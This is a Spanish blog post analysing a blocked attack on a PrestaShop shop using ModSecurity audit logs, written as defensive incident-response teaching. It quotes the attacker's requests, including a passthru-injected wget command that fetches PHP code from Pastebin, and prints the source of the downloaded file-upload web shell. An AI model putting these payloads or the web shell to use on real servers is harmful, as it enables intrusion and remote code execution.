La importancia del bastionado de servidores – Parte 3. El incidente

Hoy publicamos el tercero, y último, de los artículos cortesía de Jorge García sobre la importancia del bastionado de servidores. Aquí tenéis todos los artículos de la serie [1] [2] [3]

Con la tienda ya publicada y en servicio, llega el momento de poner en práctica todas las cosas que hemos mencionado arriba: mantener una correcta vigilancia, mantener la aplicación y sistemas actualizados, etc.

Personalmente reviso casi todas las mañanas las alertas de Suricata de todos los servicios que tengo publicados. Filtro aquellas que no considero relevantes y me centro en las que sí que lo son. Normalmente se tratan de intentos de intrusión que han sido bloqueados o intentos de explotar una tecnología que no está desplegada en el servidor. Esto ocurre a menudo cuando, por ejemplo, se publica una vulnerabilidad de WordPress y los atacantes intentan explotarla en cualquier CMS accesible desde Internet, aunque no disponga de la versión vulnerable o ni siquiera sea del mismo fabricante del que se haya publicado la vulnerabilidad.

Un día, tras hacerme el café mañanero, llama mi atención esta firma:

212.237.21.72		ET WEB_SERVER PHP tags in HTTP POST

La firma pertenece a la categoría WEB_SERVER del set de reglas de Emerging Threats que tengo configurado. Aunque muchas firmas tienen un título bastante explicativo de lo que puede estar sucediendo, lo primero que hago siempre es buscar la referencia oficial de ET que me indique qué está pasando si salta esa firma:

“El ataque WEB_SERVER PHP tags in HTTP POST es un método de envenenamiento de código HTTP a través de inyección PHP. El atacante está intentando insertar código PHP en el HTTP request body, tratando de que el servidor ejecute dicho código.”

Esto disparó mis alarmas. Lo primero que hago es consultar rápidamente si hay alguna vulnerabilidad nueva en Prestashop que afecte a la versión instalada pero no parece que haya ninguna.

Lo siguiente que hago es entrar en la máquina por SSH y revisar los logs del servidor web (tanto el de Apache como el de Mod Security), buscando la IP 212.237.21.72 en ellos. Encuentro rápidamente que hay ocurrencias en el log de Mod Security, donde nos arroja más información de distintas peticiones sospechosas que ha interceptado. Antes de pasar a analizar las peticiones, cuyos extractos se muestran más abajo de forma resumida para facilitar la comprensión lectora, repasamos primero el formato del Audit Log de Mod Security.

Formato del Audit Log de Mod Security

Mod Security dispone de un fichero, denominado por defecto modsec_audit.log, que almacena todas las peticiones que son relevantes para Mod Security -aquéllas que aumentan la puntuación de anomalía o en las que Mod Security realiza alguna acción-. Este fichero de log tiene un formato específico, donde para cada petición se analizan diversas partes:

En el caso que nos ocupa, la sección A es el Audit Log Header. Aquí se muestra el timestamp de la petición, las direcciones IP y puertos origen y destino y el ID de identificación única.

La sección B muestra las cabeceras de la petición (request line and request headers). Aquí se muestran los datos de la petición que solicita el cliente, generalmente encontramos el método (GET/POST…), el hostname al que se ha solicitado la petición (dominio URL), el recurso solicitado (URI) y el User-Agent de la petición, entre otras cosas.

La sección C contiene el propio cuerpo de la petición (request body).

La sección F contiene la cabecera de la respuesta enviada por el servidor al cliente (response header). Aquí se observa lo que el servidor ha respondido al cliente, pudiendo contener información valiosa en el código de estado HTTP (200 OK, 403 Forbidden, 404 Not Found).

La sección H es el Audit Log Trailer y contiene la información más importante acerca de la petición, indicando qué regla se ha disparado y por qué. Aquí se indica también el estado del motor de Mod Security, que al igual que ocurre con SELInux, puede estar en modo activo -ENABLED- lo que implica que las peticiones serán detectadas y bloqueadas, puede estar en modo detección -DETECTION_ONLY- donde las peticiones serán detectadas pero no se bloquearán (útil para troubleshooting) o puede estar desactivado.

La sección J incluye detalles de los ficheros subidos por el cliente.

Una vez familiarizados con el formato de Mod Security, pasamos a analizar las peticiones registradas relativas a este incidente.

Petición 0c54696d

La primera petición que realiza la IP que estamos buscando se produce a las 21:02:02 según el timestamp de la sección A del log de Mod Security:

--0c54696d-A--
[07/May/2019:21:02:02 +0200] 
(…)

El equipo atacante realiza entonces una petición POST a un recurso denominado uploadimage.php. Compruebo además que la aplicación que está siendo atacada es la tienda online de mi compañera, dado que en esta sección también se nos informa del dominio atacado. En estos momentos empiezo a tener calor. Por el nombre del recurso que solicita la petición ya nos podemos hacer una idea de que se pretende utilizar el script PHP de subida de recursos de alguno de los módulos de Prestashop para subir hacer llegar el malware al servidor:

--0c54696d-B—
POST /modules/columnadverts/uploadimage.php HTTP/1.1
Host: XXXXXX.es
(…)
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
(…)

Esta petición también nos proporciona un primer fingerprint del atacante, del cual ya conocemos la IP y el user-agent desde el que está lanzando el ataque.

La respuesta de nuestro servidor web la encontramos en la sección F:

--0c54696d-F--
HTTP/1.1 403 Forbidden
X-Frame-Options: SAMEORIGIN
(…)

Aquí es importante notar que el recurso solicitado /modules/columnadverts/uploadimage.php no existe en el servidor. De hecho, si intentamos acceder al recurso desde un navegador podemos comprobarlo empíricamente:

Normalmente cuando se solicita un recurso inexistente en un servidor web, éste devuelve el código HTTP 404 Not Found. El hecho de que nuestro servidor responda con el código 403 Forbidden nos puede indicar que Mod Security ha intervenido bloqueando un intento de explotación. La sección H del mensaje de Mod Security nos aporta casi toda la información importante del incidente. También nos indica el fichero de reglas y el ID de la regla que ha generado el bloqueo:

--0c54696d-H--
Message: Warning. Pattern match ".*\\.(?:php\\d*|phtml)\\.*$" at FILES:userfile. 
(…)
[file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] 
[line "111"] 
[id "933110"] 
(…)

Mod Security nos informa cuál es el fichero de reglas que incluye la que ha saltado (REQUEST-933-APPLICATION-ATTACK-PHP.conf), y la línea y el ID de la regla en concreto. Compruebo que la regla a la que corresponde dicho ID hace referencia a:

Blocks file uploads with filenames ending in PHP related extensions. Many applications contain Unrestricted File Upload vulnerabilities. 
Attackers may use such a vulnerability to achieve remote code execution by uploading a .php file. If the upload storage location is predictable and not adequately protected, the attacker may then request the uploaded .php file and have the code within it executed on the server.

El mensaje de Mod Security también nos aclara el tipo de ataque que se está llevando a cabo (el motivo por el cual se ha intervenido la petición) y el fichero que se ha intentado subir:

[msg "PHP Injection Attack: PHP Script File Upload Found"] 
(…)
[data "Matched Data: holapresme_63025.php found within FILES:userfile: holapresme_63025.php"] 

Con esta información ya podemos saber que el atacante está intentando llevar a cabo la subida de código PHP mediante el script de subida uploadimage.php -en nuestro caso inexistente- y conseguir de esta forma subir el fichero holapresme_63025.php conteniendo presumiblemente código PHP -asumido por la extensión del fichero, aunque verificado más adelante-. A continuación, Mod Security establece la severidad -especialmente útil para gestión mediante aplicaciones externas como OSSEC-, la versión del set de reglas en uso y las etiquetas asociadas al ataque:

[severity "CRITICAL"] 
[ver "OWASP_CRS/3.1.0"] 
[tag "application-multi"] 
[tag "language-php"] 
[tag "platform-multi"] 
[tag "attack-injection-php"] 
[tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] 
[tag "OWASP_TOP_10/A1"]

Acto seguido Mod Security nos indica la operación que ha llevado a cabo (bloqueo), donde especifica el motivo (la puntuación de anomalía ha llegado al máximo):

Message: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. 
[file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] 
[line "93"] 
[id "949110"] 
[msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] 

Mod Security también nos detalla el proceso de correlación que ha seguido hasta alcanzar dicho máximo en la puntuación de anomalía para esta petición. En este caso, al detectar un ataque bastante evidente de subida de código PHP, le otorga al ataque una puntuación de 5 sobre 5 en el flag PHPI (inyección PHP), lo que finaliza la correlación de eventos para esta petición al haber alcanzado el máximo permitido:

Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] 
[line "86"] 
[id "980130"] 
[msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: PHP Script File Upload Found; individual paranoia level scores: 5, 0, 0, 0"] 
[tag "event-correlation"]

También se nos proporciona un resumen de la petición afectada, donde se especifica el dominio de la URL atacada, el recurso solicitado, el identificador único de la petición, la acción tomada y el estado del motor de Mod Security para esta petición (si está habilitado y bloqueando o si se encuentra habilitado pero sólo en modo detección).

[hostname "XXXXXX.es"] 
[uri "/modules/columnadverts/uploadimage.php"] 
[unique_id "XNHWKucVoYfdPAN45iju7QAAAAE"]
Action: Intercepted (phase 2)
Stopwatch: 1557255722267665 63609 (- - -)
Stopwatch2: 1557255722267665 63609; combined=1749, p1=649, p2=927, p3=0, p4=0, p5=173, sr=191, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.1.0.
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips
Engine-Mode: "ENABLED"

Primeras conclusiones

Llegados a este punto, es importante darse cuenta de que en ningún momento el atacante ha accedido al fichero uploadimage.php de Prestashop, no porque no exista -que no existe-, sino porque Mod Security ha intervenido la petición ANTES de que ésta alcance la aplicación web. Ésa es la fortaleza de un cortafuegos de aplicación. En este caso la aplicación no sería vulnerable porque el fichero que se está intentando utilizar para subir el código PHP no existe en nuestra instalación (depende del módulo columnadverts que no está instalado), pero en cualquier caso, suponiendo que existiera y fuera vulnerable, Mod Security lo hubiera impedido. Mod Security es absolutamente imprescindible en este tipo de aplicaciones.

Continuamos el análisis

No obstante, continuando con la búsqueda de la IP maliciosa en los logs del servidor, encontramos que la misma IP realiza otras peticiones similares a la petición analizada (0c54696d), siempre tratando de localizar diversos ficheros PHP en nuestro servidor que le permitan realizar la subida del fichero malicioso holapresme_603025.php. Reviso todas las peticiones implicadas y observo que Mod Security realiza las mismas operaciones de análisis y bloqueo que ya hemos visto en el análisis anterior:

Un dato a tener en cuenta es que a partir de la segunda petición en adelante observo que todas ellas comparten la misma cookie de sesión, señalada en la sección B del Audit Log de Mod Security:

Cookie: PHPSESSID=bfe950386980a35030742de3335aef1e

Esto, junto con los timestamps de cada petición, nos permite correlar sin problema que se trata de un mismo atacante.

Petición 83db6b4b

La novena petición llamó mi atención porque es distinta de las ocho anteriores. En este caso, el atacante, en lugar de tratar de introducir el código malicioso utilizando una herramienta de subida de ficheros del propio CMS, lo que pretende es que el propio CMS descargue desde Internet el código PHP y lo almacene en fichero HolaPresME_63025.php. Para conseguirlo, intenta utilizar la función passthru de PHP, que permite a PHP ejecutar un programa externo en el servidor y devolver el resultado en bruto. Atentos.

--83db6b4b-A--
[07/May/2019:21:02:23 +0200] XNHWP-GF38@VJOWEuDIlgAAAAAA 212.237.21.72 62398 192.168.3.3 80

Apenas han pasado 20 segundos desde la primera de las peticiones, lo que me hace ver que sin duda se trata de un exploit automatizado.

--83db6b4b-B--
GET /modules/bamegamenu/ajax_phpcode.php?code=passthru(%22wget%20https://pastebin.com/raw/d1xFC0AK%20-O%20HolaPresME_63025.php%22); HTTP/1.1
Host: XXXXXX.es
(…)

En la propia petición encontramos el código que el atacante quiere ejecutar en nuestro servidor (que analizamos en la siguiente sección):

wget https://pastebin.com/raw/d1xFC0AK -O HolaPresME_63025.php

Además, también encontramos información del User-Agent y de la cookie de sesión, que en ambos casos coincide con todas las peticiones anteriores:

User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Cookie: PHPSESSID=bfe950386980a35030742de3335aef1e

De igual manera que en las peticiones anteriores, Mod Security intercepta la petición y la bloquea, enviando un 403 Forbidden de vuelta:

--83db6b4b-F--
HTTP/1.1 403 Forbidden
X-Frame-Options: SAMEORIGIN

En este caso, Mod Security bloquea la petición por la llamada de alto riesgo a la función passthru de PHP, considerada una práctica insegura según podemos extraer de la sección H:

--83db6b4b-H--
(…)
[file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] 
[line "357"] 
[id "933160"] 
[msg "PHP Injection Attack: High-Risk PHP Function Call Found"] 
[data "Matched Data: passthru(\x22wget https://pastebin.com/raw/d1xFC0AK -O HolaPresME_63025.php\x22) found within ARGS:code: passthru(\x22wget https://pastebin.com/raw/d1xFC0AK -O HolaPresME_63025.php\x22);"]

El resto del análisis de la petición lo omito por ser similar al resto de peticiones.

Análisis del código malicioso

Dado que en la petición anterior la propia URL trata de descargar el código malicioso desde Pastebin -mediante wget-, podemos acceder manualmente a dicha URL desde un entorno seguro y descargarnos el fichero para iniciar su análisis:
https://pastebin.com/raw/d1xFC0AK
Si formateamos el texto para facilitar su comprensión:

<?php
echo 'Yacine_Mohamed'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '
<center>
<form method="post" target="_self" enctype="multipart/form-data">
<input type="file" size="20" name="uploads" />
<input type="submit" value="upload" />
</form>
</center>
</td>
</tr>
</table>
<br>';
if (!empty ($_FILES['uploads']))
{move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');
</script><b>Uploaded !!!</b>
<br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; }
?>

Este código PHP proporciona un formulario de subida de ficheros al servidor web. Podemos intuir que el propósito del atacante es crear un fichero PHP temporal (HolaPresME_63025.php) que habilite la subida de ficheros para poder hacer llegar el malware al servidor. Bajo ningún concepto se debe ejecutar código potencialmente malicioso en el servidor, incluso aunque creamos que el código es inofensivo. Llama la atención que el código es bastante autodescriptivo, incluyendo el propio nombre de las funciones o variables empleadas.

También me llama la atención la inclusión del nombre/cadena de texto Yacine Mohamed al comienzo del código, esto puede sernos de utilidad.

Llegados a este punto, vemos que el fichero HolaPresME_63025.php no se ha podido subir al servidor a través del propio CMS ni se ha podido desargar el código alojado en Pastebin, ya que en ambos casos Mod Security lo ha impedido. Desconocemos, por tanto, lo que el atacante pretendía subir al servidor (nada bueno, esto está claro).

Buscando información sobre la vulnerabilidad

Tras buscar información relevente en Internet, podemos ver que la vulnerabilidad que el atacante está intentando explotar está asociada al tema Warehouse de Prestashop. Además de que es una vulnerabilidad antigua, la tienda de mi compañera no tiene instalado ese tema, por lo que podemos concluir que la instancia no es vulnerable (los módulos utilizados por el tema Warehouse tampoco están instalados por otro tema). La empresa que desarrolla y comercializa el tema publicó una actualización de seguridad en 2016 para corregir la vulnerabilidad, la cual no tiene un CVE asociado, o al menos no he conseguido encontrarlo.

Los módulos afectados son los que hemos detectado en las peticiones analizadas que el atacante intentaba explotar. Todos los módulos vulnerables disponen de un fichero llamado uploadimage.php, upload.php o similar el cual permite la subida de un fichero y lo mueve a otro directorio. La vulnerabilidad reside en que la subida no pasa por la autenticación de Prestashop para comprobar si el usuario que lo está subiendo está logueado y tiene permiso para hacerlo, sino que permite la subida anónima directamente llamando al fichero.

Analizando la IP

Una vez aislada la IP y estando seguros de que es maliciosa, debemos bloquearla en el firewall perimetral para estar seguros de que no vuelve a atacarnos.

Habiendo analizado todas las ocurrencias de la IP atacante en los logs del sistema, vamos ahora a tratar de buscar información acerca de dicha IP (212.237.21.72) para tratar de alumbrar si puede tratarse de una campaña masiva (a priori complicado al tratarse de una vulnerabilidad antigua) o bien si puede ser una prueba aislada (o incluso algún alumno de Enigma aprendiendo!!).

Al hacer una búsqueda de la IP en AbuseIPDB nos revela que dicha IP estaba participando en ataques justo el día anterior a nuestra detección, aunque en ese momento sólo tenía un reporte:

La IP pertenece al proveedor de hosting Aruba, por lo que es posible que se trate de un VPS contratado para fines maliciosos. El datacenter al que pertenece esta IP realiza su salida a Internet desde Italia. No dispongo de datos en la aplicación de análisis de visitas web Matomo para poder complementar la información, ya que la tienda online de mi compañera aún no estaba integrada con Matomo en la fecha en que ocurrió el incidente, pero hubiera sido valioso poder acotar las visitas desde Italia en el rango horario del ataque, con el fin de obtener información adicional tomando como parámetro la cookie de sesión mencionada en el análisis de las peticiones. Realizando búsquedas adicionales en Virustotal y sitios web similares no obtengo resultados interesantes.

Una opción siempre recomendable es notificar el incidente a la dirección de abuse correspondiente al dominio al que pertenece la IP atacante (que podemos consultar con WHOIS), en este caso abuse@staff.aruba.it.

Conclusiones finales

Podemos concluir que una IP italiana de un VPS de Aruba ha intentado, sin éxito, introducir código malicioso en nuestro servidor aprovechándose de una vulnerabilidad del tema Warehouse de Prestashop, que permitiría al atacante ejecutar código arbitrario explotando una subida no autenticada a través de PHP.

Aunque el servidor no era vulnerable, Mod Security ha garantizado la seguridad impidiendo que las peticiones sospechosas alcanzasen la aplicación, incluso aunque ésta hubiera sido vulnerable. En el caso de que Mod Security no hubiera estado activo y la aplicación fuera vulnerable, aún sería probable que SELinux hubiera impedido la escritura del fichero al tratarse de una operación no-estándar